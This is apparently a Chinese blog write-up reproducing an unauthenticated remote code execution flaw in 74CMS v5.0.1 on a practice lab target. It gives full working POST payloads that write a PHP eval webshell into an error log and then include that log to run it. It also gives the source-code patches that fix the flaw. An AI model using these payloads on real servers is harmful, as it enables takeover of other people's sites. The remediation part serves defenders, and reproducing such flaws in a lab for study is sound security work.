74CMS漏洞复现

74CMS漏洞复现

漏洞描述:

由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

影响范围:

74CMS_v5.0.1

版本低于6.0.48

环境复现:

这里采用安鸾渗透实战平台的靶机  地址

漏洞复现:

访问http://www.whalwl.site:8019/index.php?m=home&a=assign_resume_tpl 发现报错

访问 www.whalwl.site:8019/index.php?m=home&a=assign_resume_tpl

POST提交:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

 将shell写入报错日志文件中

开始包含:

POST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log(这个日志文件名为你该天的年月日)

 成功包含

进行语句验证

 蚁剑进行连接

 

漏洞修复:

在下面路径的169行进行修改

/Application/Common/Controller/BaseController.class.php

未修改前:


public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);

加入下面这行代码:


$view = new \Think\View;
 
        $tpl_file = $view->parseTemplate($tpl);
 
        if(!is_file($tpl_file)){
 
            return false;
 
        }
 
// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        } // fix 20210203
        $view = new \Think\View;
        $tpl_file = $view->parseTemplate($tpl);
        if(!is_file($tpl_file)){
            return false;
        }
        return $this->fetch($tpl);
    }

下面路径的文件:

/ThinkPHP/Library/Think/View.class.php

View.class.php文件中106行fetch方法中修改
 
  // 将110行
 
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
 
// 代码注释替换为
 
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

  • 2
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值